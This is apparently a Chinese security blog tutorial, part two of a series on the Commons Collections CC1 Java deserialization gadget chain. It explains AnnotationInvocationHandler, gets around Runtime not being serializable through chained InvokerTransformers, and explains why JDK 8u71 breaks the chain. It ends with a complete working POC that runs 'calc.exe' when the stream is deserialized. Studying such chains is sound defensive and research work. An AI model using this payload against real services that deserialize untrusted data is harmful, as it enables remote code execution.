java安全之CC1浅学(2)

前言

上一篇了解了commons-collections中的Transformer,并且构造了一个简单的payload,接下来就需要将其改造为一个可利用的POC

AnnotationInvocationHandler

前面说过,触发漏洞的核心,在于需要向Map中加入新的元素,在上一篇中,我们是手动执行行 outerMap.put("test", "xxxx");来触发漏洞的,所以在实际反序列化利用的时候,时,我们需要找到一个 类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject方法(这是8u71以前的代码,8u71以后做了一些修改)

private void readObject(java.io.ObjectInputStream s)         throws java.io.IOException, ClassNotFoundException {         s.defaultReadObject();      // Check to make sure that types have not evolved incompatibly         AnnotationType annotationType = null;         try {             annotationType = AnnotationType.getInstance(type);             }catch(IllegalArgumentException e) {             // Class is no longer an annotation type; time to punch out             throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");         }         Map<String, Class<?>> memberTypes = annotationType.memberTypes();             // If there are annotation members without values, that             // situation is handled by the invoke method.         for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {             String name = memberValue.getKey();             Class<?> memberType = memberTypes.get(name);             if (memberType != null) { // i.e. member still exists              Object value = memberValue.getValue();               if (!(memberType.isInstance(value) ||                  value instanceof ExceptionProxy)) {                    memberValue.setValue(                      new AnnotationTypeMismatchExceptionProxy(                        value.getClass() + "[" + value + "]").setMember(                          annotationType.members().get(name)));             }            }         } } 

核心逻辑就是 Map.Entry memberValue : memberValues.entrySet()memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码

所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来

Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); Object obj = construct.newInstance(Retention.class, outerMap); 

这里因为sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类,不能直接使用new来实例化。可以使用反射获取它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map

这里有两个问题:什么是Annotation类?为什么这里使用 Retention.class ?

需要反射

上面我们构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流:

ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(obj); oos.close(); 

我们和上一篇文章的payload组成一个完整的POC。我们试着运行这个POC,看看能否生成序列化数据流:

java安全之CC1浅学(2)

在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime

原因是Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable接口的,所以不允许被序列化的。

在前边的《Java安全之反射》一篇中,提到可以通过反射来获取当前上下文中的Runtime对象,而不需要直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime"); Runtime r = (Runtime) f.invoke(null); r.exec("calc.exe"); 

转换成Transformer的写法就是如下:

Transformer[] transformers= new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",                         new Class[]{String.class,Class[].class},                         new Object[]{"getRuntime",new Class[0]}),                 new InvokerTransformer("invoke",                         new Class[]{Object.class,Object[].class},                         new Object[]{null,new Object[0]}),                 new InvokerTransformer("exec",                         new Class[] {String.class},                         new String[]{"calc.exe"} }; 

这里我们将Runtime.getRuntime() 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化的。

这里是传入一个Runtime.class,通过反射拿到Runtime.getRuntime(),然后再反射拿到invoke方法,再反射拿到exec方法。

仍然无法触发漏洞

修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列化时仍然没弹出计算器,这是为什么呢?

java安全之CC1浅学(2)

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在 AnnotationInvocationHandler#readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {     private final Class<? extends Annotation> type;     private final Map<String, Object> memberValues;        AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {           this.type = var1;           this.memberValues = var2;       }        private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {           var1.defaultReadObject();           AnnotationType var2 = null;            try {             //this.type是实例化的时候传入的jdk自带的Target.class             //getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等               var2 = AnnotationType.getInstance(this.type);           } catch (IllegalArgumentException var9) {               return;           }            Map var3 = var2.memberTypes();           Iterator var4 = this.memberValues.entrySet().iterator();            while(var4.hasNext()) {               Entry var5 = (Entry)var4.next();               String var6 = (String)var5.getKey();               Class var7 = (Class)var3.get(var6);               if (var7 != null) {                   Object var8 = var5.getValue();                   if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {                       var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));                   }               }           }        }   } 

那么如何让这个var7不为null呢?两个条件

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

所以,这也就是前面用到Retention.class的原因,因为Retention有一个方法,名为value;所以,为了再满足第二个条件,需要给Map中放入一个Key是value的元素:

innerMap.put("value", "xxxx"); 

8u71

再次修改POC之后,我们在本地进行测试,发现已经可以成功弹出计算器了。

java安全之CC1浅学(2)

但是,当我们拿着这串序列化流,跑到服务器上进行反序列化时就会发现,又无法成功执行命令 了。这又是为什么呢?

我这儿是拿到另一个Java 8u71以前版本的服务器上进行测试的,在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数

jdk8u/jdk8u/jdk: f8a528d0379d (java.net)

java安全之CC1浅学(2)

对于这次修改,乍一看好像原因就是没有了setValue,其实不然,可以看到上边是新增了一个LinkedHashMap对象,并将原来的键值添加进去,所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了

小结

整体的POC如下

package org.example;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;  import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;  public class Test {     public static void main(String[] args) throws Exception {        Transformer[] transformers= new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",                         new Class[]{String.class,Class[].class},                         new Object[]{"getRuntime",new Class[0]}),                 new InvokerTransformer("invoke",                         new Class[]{Object.class,Object[].class},                         new Object[]{null,new Object[0]}),                 new InvokerTransformer("exec",                         new Class[] {String.class},                         new String[]{"calc.exe"} )};        ChainedTransformer chain = new ChainedTransformer(transformers);         Map innerMap = new HashMap();         Map outerMap = TransformedMap.decorate(innerMap, null, chain);         innerMap.put("value","xxxx");           Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);         construct.setAccessible(true);         Object obj = construct.newInstance(Retention.class, outerMap);           ByteArrayOutputStream array = new ByteArrayOutputStream();         ObjectOutputStream writeojb = new ObjectOutputStream(array);         writeojb.writeObject(obj);         writeojb.close();          System.out.println(array);         ObjectInputStream readobj = new ObjectInputStream(new ByteArrayInputStream(array.toByteArray()));         readobj.readObject();       } } 

但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler发生了变化导致不再可用,原因前文也说了。

ysoserial工具中没有用到TransformedMap,而是使用了LazyMap

那么LazyMap解决了这条链在高版本Java中的使用吗?如何解决的呢?

下一篇文章来分析分析。

发表评论

相关文章